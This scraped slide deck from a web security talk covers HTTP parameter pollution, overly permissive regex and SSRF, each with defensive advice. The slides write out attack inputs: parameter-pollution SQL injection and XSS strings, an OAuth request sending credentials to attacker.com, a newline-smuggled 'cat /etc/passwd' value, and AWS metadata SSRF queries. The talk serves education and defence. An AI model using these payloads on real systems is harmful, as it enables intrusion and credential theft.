SlideShare a Scribd company logo
Beyond OWASP Top 10
Aaron Hnatiw
Twitter: @insp3ctre
• Software developer
• College professor
• Security consultant
• System administrator
• Web developer
Senior security researcher,
Security Compass
What is this talk about?
http://www.sans.org/reading-room/whitepapers/analyst/
2015-state-application-security-closing-gap-35942
OWASP TOP 10 2013
A1- Injection
A2- Broken authentication and session management
A3- Cross-site scripting (XSS)
A4- Insecure direct object references (IDOR)
A5- Security misconfiguration
OWASP TOP 10 2013 (CONT’D)
A6- Sensitive data exposure
A7- Missing function level access control
A8- Cross-site request forgery (CSRF)
A9- Using components with known vulnerabilities
A10- Unvalidated redirects and forwards
HTTP parameter pollution
(HPP)
CWE-235
Applications interpret parameter values in different ways
https://dunnesec.com/category/attacks-defence/http-parameter-pollution/
Exploits
Leveraging HPP to get SQL injection:


http://example.com/search.aspx?q=select/*&q=*/
name&q=password/*&q=*/from/*&q=*/users
Result: q=select/*,*/name,password/*,*/from/*,*/users
Bypass WAFs, especially blacklist-based:

GET /index.aspx?a=<scrip&a=t>alert(&a=)</scri&a=pt
Bypass input validation:
Better CSRF URLs:

http://example.com/admin?
action=post%26action%3Ddelete&user=1
Stealing OAuth credentials
from Twitter
https://hackerone.com/reports/114169
https://www.digits.com/login

?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE

&host=https%3A%2F%2Fwww.periscope.tv

&host=https%3A%2F%2Fattacker.com
Testing for HPP
Append existing parameters
with different values
Example: http://example.com/test?
id=12345&test=true&id=54321
With Burp Suite Intruder
SOURCES
•Form fields (search, login, etc.)
•Pagination
•Admin page identifiers
‣http://example.com/admin/
page=1&action=view&page=12345
•Find more by intercepting all POST requests & parameters
Automate with Burp Suite
Defence and mitigation
DEFENCE AND MITIGATION
•Dynamic testing (DAST)
•Find instances of parameters in source code- explicitly
select first or last
•Check your WAF
•Output encoding
•Best case- strip duplicate parameters before processing
Sources & further reading
SOURCES & FURTHER READING
•https://dunnesec.com/category/attacks-defence/http-parameter-pollution/ (@Dunn3)
•https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-
INPVAL-004)
•AppSec EU 2009 - presentation by Luca Carettoni and Stefano di Paola (https://
www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf)
•Split and Join white paper on bypassing web application firewalls with HTTP
parameter pollution, by Lavakumar Kuppan (http://www.andlabs.org/whitepapers/
Split_and_Join.pdf)
•Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications, by
Marco Balduzzi, Carmen Torrano Gimenez, Davide Balzarotti, and Engin Kirda (https://
www.isoc.org/isoc/conferences/ndss/11/pdf/6_1.pdf)
Overly Permissive Regex
CWE-625
https://xkcd.com/1313/
COMMON GOTCHAS
•Have you caught the right character case? 
•Word boundaries
•Do you really need to use “*"?
‣Example: d*|w+ matches 1, table, admin, user, 12345, etc.
•Special characters
•Don’t try to parse HTML with regular expressions.
‣Just don’t.
Exploits
Whitespace and multiline abuse
to remote code execution
https://nvisium.com/blog/2015/06/11/regex-regularly-exploitable/
•Regex: /^[/a-zA-Z0-9-s_]+.rpt$/m
‣file123_2.rpt
•file123_2%0Acat%20/etc/passwd%0A.rpt
•file123_2.rpt%0Acat%20/etc/passwd
•Used to be the default in Ruby on Rails.
‣javascript:alert('XSS')%0Ahttp://
validurl.com%0A<script>alert('More XSS');</script>
Blacklist bypass to XSS
•http://web.site/cg/aLink.do?state=abc
•URL-encoded “</title>” is caught
•http://web.site/cg/aLink.do?state=abc%3C/
title%20id=%22a%22%3E%3Cimg%20src=x%20on
error=alert%289%29%3E
https://deadliestwebattacks.com/2014/09/09/bad-code-entitles-good-exploits/
Testing for overly permissive
regex
TESTING FOR OVERLY PERMISSIVE REGEX
•Helpful regex tools:
‣https://regex101.com/
‣http://www.regexpal.com/
‣http://regexr.com/
‣Patterns (OSX app): https://krillapps.com/patterns/
•Dynamic testing of input with fuzzy input
‣https://github.com/danielmiessler/SecLists/tree/master/Fuzzing
‣Line breaks (%0A), carriage returns (r), new line (n)
Defence and mitigation
DEFENCE AND MITIGATION
•Keep it simple
•Perform transformations in stages
•Test, test, test some more
‣Have some fresh eyes take a look
•Use proven regular expressions
‣IPv4 address: /^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).){3}(?:
25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/
•Whitelist, not blacklist
Sources & further reading
SOURCES & FURTHER READING
•http://www.rexegg.com/ - Solid regex reference
•https://www.owasp.org/index.php/
Regular_Expression_Security_Cheatsheet
•Ruby on Rails vulnerability writeup: https://
homakov.blogspot.ca/2012/05/saferweb-injects-in-various-
ruby.html
Server Side Request Forgery
(SSRF)
CWE-918
SSRF - OVERVIEW
•Bypass firewalls
•Reach internal network
•Often an application attack becomes network attack
•Useful for enumeration and reconnaissance
‣Further hides attacker’s source IP
•Often introduced to bypass SOP (it’s a feature!)
•Can be leveraged to get XSS via returned content
Exploits
Querying AWS metadata
through SSRF
http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/
ATTACK STEPS
1. Found the following endpoint: https://play.esea.net/
global/media_preview.php?url=
‣Only loads images
2. Bypass: https://play.esea.net/global/media_preview.php?
url=http://ziot.org/?.png
‣https://play.esea.net/global/media_preview.php?
url=http://ziot.org/xss.html?.png
‣Hey, look- an overly permissive regex!
ATTACK STEPS (CONT’D)
3. Query http://169.254.169.254/ to pull AWS instance
metadata
‣https://play.esea.net/global/media_preview.php?
url=http://169.254.169.254/latest/meta-data/?.png
‣Guide: http://docs.aws.amazon.com/AWSEC2/latest/
UserGuide/ec2-instance-metadata.html
Google digs google
https://www.rcesecurity.com/2017/03/ok-google-give-me-all-your-internal-dns-information/
Normal interface, with response:
Let’s modify the post request...
Fun fact- Google was running a
minecraft server at
"minecraft.corp.google.com"
Testing for SSRF
TESTING FOR SSRF
•Is a URL provided in a request? Change to:
‣Another remote URL (e.g. google.com)
‣Loopback address (e.g. localhost, 127.0.0.1)
‣Local IP (e.g. 192.168.0.1, 10.10.0.1, 172.16.0.1)
‣Different protocol URL (e.g. “file://“, “ssh://“, “ftp://“)
‣Different port
•Burp Suite Intruder works really well for automating this
‣Sort by response sizes
TESTING FOR SSRF (CONT’D)
•Got XXE? Try specifying system or external URIs (e.g. file:///
etc/passwd)
‣More info: https://www.owasp.org/index.php/
XML_External_Entity_(XXE)_Processing
•Use Burp Suite’s Collaborator servers for external resources,
if you don’t have your own
Defence and mitigation
DEFENCE AND MITIGATION
•SOP exists for a reason
‣DO NOT use JSONP or other server workarounds
‣DO use CORS
•Again- whitelist allowed domains and protocols, and
sanitize input
•Access control between server and internal network
DEFENCE AND MITIGATION (CONT’D)
•Why whitelist protocols?
•PHP supported protocol URLs:
•file://
•http://
•ftp://
•php://
•zlib://
•data://
•Glob://
•phar://
•ssh2://
•rar://
•ogg://
•expect://
More: http://php.net/manual/en/wrappers.php
Sources & further reading
SOURCES & FURTHER READING
•https://blog.securitycompass.com/ssrf-as-a-service-
mitigating-a-design-level-software-security-vulnerability-
ba2fbb690269
Let’s review
OWASP TOP 10 2013
A1- Injection
A2- Broken authentication and session management
A3- Cross-site scripting (XSS)
A4- Insecure direct object references (IDOR)
A5- Security misconfiguration
OWASP TOP 10 2013 (CONT’D)
A6- Sensitive data exposure
A7- Missing function level access control
A8- Cross-site request forgery (CSRF)
A9- Using components with known vulnerabilities
A10- Unvalidated redirects and forwards
BEYOND OWASP TOP 10
1. HTTP parameter pollution (HPP)
2. Overly permissive regular expression
3. Server-side request forgery (SSRF)
OWASP Top 10 2017 RC
OWASP TOP 10 2017 RC
Still applies!
Final message
The OWASP Top 10 is a good
start, but there’s much more
RESOURCES TO KEEP LEARNING
•HackerOne "hacktivity" feed: https://hackerone.com/
hacktivity
•Twitter
•Reddit /r/netsec
•HackerOne Zero Daily newsletter: https://
www.hackerone.com/zerodaily
Thank you
Aaron Hnatiw
Twitter: @insp3ctre
aaron@securitycompass.com
SecurityCompass.com

More Related Content

What's hot

Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Brian Huff
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
tmd800
 
20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASP20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASP
chadtindel
 
Top 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilitiesTop 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilities
Terrance Medina
 
HackFest 2015 - Rasp vs waf
HackFest 2015 - Rasp vs wafHackFest 2015 - Rasp vs waf
HackFest 2015 - Rasp vs waf
IMMUNIO
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or Succeed
Prathan Phongthiproek
 
20160225 OWASP Atlanta Prevoty RASP
20160225 OWASP Atlanta Prevoty RASP20160225 OWASP Atlanta Prevoty RASP
20160225 OWASP Atlanta Prevoty RASP
chadtindel
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...
Noppadol Songsakaew
 
OWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risksOWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risks
Kun-Da Wu
 
Secure Programming In Php
Secure Programming In PhpSecure Programming In Php
Secure Programming In Php
Akash Mahajan
 
Cross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with JavaCross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with Java
Jim Manico
 
Web application security
Web application securityWeb application security
Web application security
Kapil Sharma
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
abhijitapatil
 
Owasp top 10 security threats
Owasp top 10 security threatsOwasp top 10 security threats
Owasp top 10 security threats
Vishal Kumar
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
chadtindel
 
Methods to Bypass a Web Application Firewall Eng
Methods to Bypass a Web Application Firewall EngMethods to Bypass a Web Application Firewall Eng
Methods to Bypass a Web Application Firewall EngDmitry Evteev
 
OISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec PrimerOISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
ThreatReel Podcast
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
Edouard de Lansalut
 
Sql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseSql injection bypassing hand book blackrose
Sql injection bypassing hand book blackrose
Noaman Aziz
 

What's hot (20)

Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)Top 10 Web Security Vulnerabilities (OWASP Top 10)
Top 10 Web Security Vulnerabilities (OWASP Top 10)
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
 
20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASP20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASP
 
Top 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilitiesTop 10 Web Application vulnerabilities
Top 10 Web Application vulnerabilities
 
HackFest 2015 - Rasp vs waf
HackFest 2015 - Rasp vs wafHackFest 2015 - Rasp vs waf
HackFest 2015 - Rasp vs waf
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or Succeed
 
20160225 OWASP Atlanta Prevoty RASP
20160225 OWASP Atlanta Prevoty RASP20160225 OWASP Atlanta Prevoty RASP
20160225 OWASP Atlanta Prevoty RASP
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...
 
OWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risksOWASP Top 10 - 2017 Top 10 web application security risks
OWASP Top 10 - 2017 Top 10 web application security risks
 
Secure Programming In Php
Secure Programming In PhpSecure Programming In Php
Secure Programming In Php
 
Cross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with JavaCross Site Scripting (XSS) Defense with Java
Cross Site Scripting (XSS) Defense with Java
 
Web application security
Web application securityWeb application security
Web application security
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Owasp top 10 security threats
Owasp top 10 security threatsOwasp top 10 security threats
Owasp top 10 security threats
 
Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730Prevoty NYC Java SIG 20150730
Prevoty NYC Java SIG 20150730
 
Methods to Bypass a Web Application Firewall Eng
Methods to Bypass a Web Application Firewall EngMethods to Bypass a Web Application Firewall Eng
Methods to Bypass a Web Application Firewall Eng
 
OISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec PrimerOISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
t r
t rt r
t r
 
Sql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseSql injection bypassing hand book blackrose
Sql injection bypassing hand book blackrose
 

Similar to Beyond OWASP Top 10 - Hack In Paris 2017

Web Security
Web SecurityWeb Security
Web Security
KHOANGUYNNGANH
 
Vulnerabilities in data processing levels
Vulnerabilities in data processing levelsVulnerabilities in data processing levels
Vulnerabilities in data processing levelsbeched
 
Vulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing LevelsVulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing LevelsPositive Hack Days
 
Romulus OWASP
Romulus OWASPRomulus OWASP
Romulus OWASP
Grupo Gesfor I+D+i
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
OWASP Nagpur
 
Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out!
Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out!Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out!
Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out!
Priyanka Aash
 
How to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid themHow to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid them
Masoud Kalali
 
Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view
Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s viewNguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view
Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view
Security Bootcamp
 
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systemsDEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
Felipe Prado
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
Devnology
 
API SECURITY
API SECURITYAPI SECURITY
Multi-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation StrategiesMulti-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation Strategies
Sagi Brody
 
Web hackingtools cf-summit2014
Web hackingtools cf-summit2014Web hackingtools cf-summit2014
Web hackingtools cf-summit2014
ColdFusionConference
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumeration
Blueinfy Solutions
 
REST APIs
REST APIsREST APIs
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?
Yassine Aboukir
 
Introduction to Mod security session April 2016
Introduction to Mod security session April 2016Introduction to Mod security session April 2016
Introduction to Mod security session April 2016
Rahul
 
PHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckPHP from soup to nuts Course Deck
PHP from soup to nuts Course Deck
rICh morrow
 

Similar to Beyond OWASP Top 10 - Hack In Paris 2017 (20)

Web Security
Web SecurityWeb Security
Web Security
 
Vulnerabilities in data processing levels
Vulnerabilities in data processing levelsVulnerabilities in data processing levels
Vulnerabilities in data processing levels
 
Vulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing LevelsVulnerabilities on Various Data Processing Levels
Vulnerabilities on Various Data Processing Levels
 
Romulus OWASP
Romulus OWASPRomulus OWASP
Romulus OWASP
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
Rails Security
Rails SecurityRails Security
Rails Security
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 
Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out!
Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out!Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out!
Breaking Parser Logic: Take Your Path Normalization Off and Pop 0days Out!
 
How to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid themHow to avoid top 10 security risks in Java EE applications and how to avoid them
How to avoid top 10 security risks in Java EE applications and how to avoid them
 
Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view
Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s viewNguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view
Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view
 
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systemsDEF CON 24 - workshop - Craig Young - brainwashing embedded systems
DEF CON 24 - workshop - Craig Young - brainwashing embedded systems
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
API SECURITY
API SECURITYAPI SECURITY
API SECURITY
 
Multi-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation StrategiesMulti-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation Strategies
 
Web hackingtools cf-summit2014
Web hackingtools cf-summit2014Web hackingtools cf-summit2014
Web hackingtools cf-summit2014
 
Applciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumerationApplciation footprinting, discovery and enumeration
Applciation footprinting, discovery and enumeration
 
REST APIs
REST APIsREST APIs
REST APIs
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?
 
Introduction to Mod security session April 2016
Introduction to Mod security session April 2016Introduction to Mod security session April 2016
Introduction to Mod security session April 2016
 
PHP from soup to nuts Course Deck
PHP from soup to nuts Course DeckPHP from soup to nuts Course Deck
PHP from soup to nuts Course Deck
 

Recently uploaded

Webinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, BetterWebinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
XfilesPro
 
De mooiste recreatieve routes ontdekken met RouteYou en FME
De mooiste recreatieve routes ontdekken met RouteYou en FMEDe mooiste recreatieve routes ontdekken met RouteYou en FME
De mooiste recreatieve routes ontdekken met RouteYou en FME
Jelle | Nordend
 
Using IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New ZealandUsing IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New Zealand
IES VE
 
How to Position Your Globus Data Portal for Success Ten Good Practices
How to Position Your Globus Data Portal for Success Ten Good PracticesHow to Position Your Globus Data Portal for Success Ten Good Practices
How to Position Your Globus Data Portal for Success Ten Good Practices
Globus
 
2024 RoOUG Security model for the cloud.pptx
2024 RoOUG Security model for the cloud.pptx2024 RoOUG Security model for the cloud.pptx
2024 RoOUG Security model for the cloud.pptx
Georgi Kodinov
 
How Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptxHow Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptx
wottaspaceseo
 
Designing for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web ServicesDesigning for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web Services
KrzysztofKkol1
 
Advanced Flow Concepts Every Developer Should Know
Advanced Flow Concepts Every Developer Should KnowAdvanced Flow Concepts Every Developer Should Know
Advanced Flow Concepts Every Developer Should Know
Peter Caitens
 
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Hivelance Technology
 
Enhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdfEnhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdf
Globus
 
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus
 
Lecture 1 Introduction to games development
Lecture 1 Introduction to games developmentLecture 1 Introduction to games development
Lecture 1 Introduction to games development
abdulrafaychaudhry
 
Why React Native as a Strategic Advantage for Startup Innovation.pdf
Why React Native as a Strategic Advantage for Startup Innovation.pdfWhy React Native as a Strategic Advantage for Startup Innovation.pdf
Why React Native as a Strategic Advantage for Startup Innovation.pdf
ayushiqss
 
Quarkus Hidden and Forbidden Extensions
Quarkus Hidden and Forbidden ExtensionsQuarkus Hidden and Forbidden Extensions
Quarkus Hidden and Forbidden Extensions
Max Andersen
 
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
XfilesPro
 
A Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdfA Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdf
kalichargn70th171
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
Matt Welsh
 
GlobusWorld 2024 Opening Keynote session
GlobusWorld 2024 Opening Keynote sessionGlobusWorld 2024 Opening Keynote session
GlobusWorld 2024 Opening Keynote session
Globus
 
Cyaniclab : Software Development Agency Portfolio.pdf
Cyaniclab : Software Development Agency Portfolio.pdfCyaniclab : Software Development Agency Portfolio.pdf
Cyaniclab : Software Development Agency Portfolio.pdf
Cyanic lab
 
BoxLang: Review our Visionary Licenses of 2024
BoxLang: Review our Visionary Licenses of 2024BoxLang: Review our Visionary Licenses of 2024
BoxLang: Review our Visionary Licenses of 2024
Ortus Solutions, Corp
 

Recently uploaded (20)

Webinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, BetterWebinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
Webinar: Salesforce Document Management 2.0 - Smarter, Faster, Better
 
De mooiste recreatieve routes ontdekken met RouteYou en FME
De mooiste recreatieve routes ontdekken met RouteYou en FMEDe mooiste recreatieve routes ontdekken met RouteYou en FME
De mooiste recreatieve routes ontdekken met RouteYou en FME
 
Using IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New ZealandUsing IESVE for Room Loads Analysis - Australia & New Zealand
Using IESVE for Room Loads Analysis - Australia & New Zealand
 
How to Position Your Globus Data Portal for Success Ten Good Practices
How to Position Your Globus Data Portal for Success Ten Good PracticesHow to Position Your Globus Data Portal for Success Ten Good Practices
How to Position Your Globus Data Portal for Success Ten Good Practices
 
2024 RoOUG Security model for the cloud.pptx
2024 RoOUG Security model for the cloud.pptx2024 RoOUG Security model for the cloud.pptx
2024 RoOUG Security model for the cloud.pptx
 
How Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptxHow Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptx
 
Designing for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web ServicesDesigning for Privacy in Amazon Web Services
Designing for Privacy in Amazon Web Services
 
Advanced Flow Concepts Every Developer Should Know
Advanced Flow Concepts Every Developer Should KnowAdvanced Flow Concepts Every Developer Should Know
Advanced Flow Concepts Every Developer Should Know
 
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
Multiple Your Crypto Portfolio with the Innovative Features of Advanced Crypt...
 
Enhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdfEnhancing Research Orchestration Capabilities at ORNL.pdf
Enhancing Research Orchestration Capabilities at ORNL.pdf
 
Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024Globus Compute wth IRI Workflows - GlobusWorld 2024
Globus Compute wth IRI Workflows - GlobusWorld 2024
 
Lecture 1 Introduction to games development
Lecture 1 Introduction to games developmentLecture 1 Introduction to games development
Lecture 1 Introduction to games development
 
Why React Native as a Strategic Advantage for Startup Innovation.pdf
Why React Native as a Strategic Advantage for Startup Innovation.pdfWhy React Native as a Strategic Advantage for Startup Innovation.pdf
Why React Native as a Strategic Advantage for Startup Innovation.pdf
 
Quarkus Hidden and Forbidden Extensions
Quarkus Hidden and Forbidden ExtensionsQuarkus Hidden and Forbidden Extensions
Quarkus Hidden and Forbidden Extensions
 
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
How Does XfilesPro Ensure Security While Sharing Documents in Salesforce?
 
A Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdfA Comprehensive Look at Generative AI in Retail App Testing.pdf
A Comprehensive Look at Generative AI in Retail App Testing.pdf
 
Large Language Models and the End of Programming
Large Language Models and the End of ProgrammingLarge Language Models and the End of Programming
Large Language Models and the End of Programming
 
GlobusWorld 2024 Opening Keynote session
GlobusWorld 2024 Opening Keynote sessionGlobusWorld 2024 Opening Keynote session
GlobusWorld 2024 Opening Keynote session
 
Cyaniclab : Software Development Agency Portfolio.pdf
Cyaniclab : Software Development Agency Portfolio.pdfCyaniclab : Software Development Agency Portfolio.pdf
Cyaniclab : Software Development Agency Portfolio.pdf
 
BoxLang: Review our Visionary Licenses of 2024
BoxLang: Review our Visionary Licenses of 2024BoxLang: Review our Visionary Licenses of 2024
BoxLang: Review our Visionary Licenses of 2024
 

Beyond OWASP Top 10 - Hack In Paris 2017

  • 2. Aaron Hnatiw Twitter: @insp3ctre • Software developer • College professor • Security consultant • System administrator • Web developer Senior security researcher, Security Compass
  • 3. What is this talk about?
  • 4.
  • 6. OWASP TOP 10 2013 A1- Injection A2- Broken authentication and session management A3- Cross-site scripting (XSS) A4- Insecure direct object references (IDOR) A5- Security misconfiguration
  • 7. OWASP TOP 10 2013 (CONT’D) A6- Sensitive data exposure A7- Missing function level access control A8- Cross-site request forgery (CSRF) A9- Using components with known vulnerabilities A10- Unvalidated redirects and forwards
  • 9. Applications interpret parameter values in different ways https://dunnesec.com/category/attacks-defence/http-parameter-pollution/
  • 11. Leveraging HPP to get SQL injection: 
 http://example.com/search.aspx?q=select/*&q=*/ name&q=password/*&q=*/from/*&q=*/users Result: q=select/*,*/name,password/*,*/from/*,*/users
  • 12. Bypass WAFs, especially blacklist-based:
 GET /index.aspx?a=<scrip&a=t>alert(&a=)</scri&a=pt Bypass input validation:
  • 14. Stealing OAuth credentials from Twitter https://hackerone.com/reports/114169 https://www.digits.com/login
 ?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE
